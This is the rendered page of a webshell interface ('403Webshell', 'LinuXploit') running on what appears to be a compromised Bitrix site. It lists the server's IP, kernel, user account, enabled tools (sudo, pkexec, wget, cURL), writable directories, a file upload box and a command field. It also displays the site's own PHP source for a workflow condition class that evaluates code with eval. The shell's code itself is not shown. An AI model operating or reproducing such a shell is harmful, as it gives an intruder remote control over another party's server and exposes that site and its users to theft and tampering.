403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/activities/bitrix/codecondition/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/activities/bitrix/codecondition/codecondition.php
<?php

if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

use Bitrix\Main\Localization\Loc;

class CBPCodeCondition extends CBPActivityCondition
{
	public $condition = '';

	public function __construct($condition)
	{
		$this->condition = $condition;
	}

	public function Evaluate(CBPActivity $ownerActivity)
	{
		@eval("\$result = ".$this->condition.";");

		return $result;
	}

	public static function validateProperties($value = null, CBPWorkflowTemplateUser $user = null)
	{
		$arErrors = [];

		if ($user == null || !$user->isAdmin())
		{
			$arErrors[] = [
				'code' => 'perm',
				'message' => Loc::getMessage('BPCC_NO_PERMS'),
			];
		}

		return array_merge($arErrors, parent::validateProperties($value, $user));
	}

	public static function GetPropertiesDialog(
		$documentType,
		$arWorkflowTemplate,
		$arWorkflowParameters,
		$arWorkflowVariables,
		$defaultValue,
		$arCurrentValues = null
	)
	{
		$runtime = CBPRuntime::GetRuntime();

		if (!is_array($arCurrentValues))
		{
			$arCurrentValues = ['php_code_condition' => ($defaultValue == null ? '' : $defaultValue)];
		}

		return $runtime->ExecuteResourceFile(
			__FILE__,
			'properties_dialog.php',
			['arCurrentValues' => $arCurrentValues]
		);
	}

	public static function GetPropertiesDialogValues(
		$documentType,
		$arWorkflowTemplate,
		$arWorkflowParameters,
		$arWorkflowVariables,
		$arCurrentValues,
		&$arErrors
	)
	{
		$arErrors = [];

		if (
			!array_key_exists('php_code_condition', $arCurrentValues)
			|| $arCurrentValues['php_code_condition'] == ''
		)
		{
			$arErrors[] = [
				'code' => '',
				'message' => Loc::getMessage('BPCC_EMPTY_CODE'),
			];

			return null;
		}

		$arErrors = self::validateProperties(
			$arCurrentValues['php_code_condition'],
			new CBPWorkflowTemplateUser(CBPWorkflowTemplateUser::CurrentUser)
		);

		if (count($arErrors) > 0)
		{
			return null;
		}

		return $arCurrentValues['php_code_condition'];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit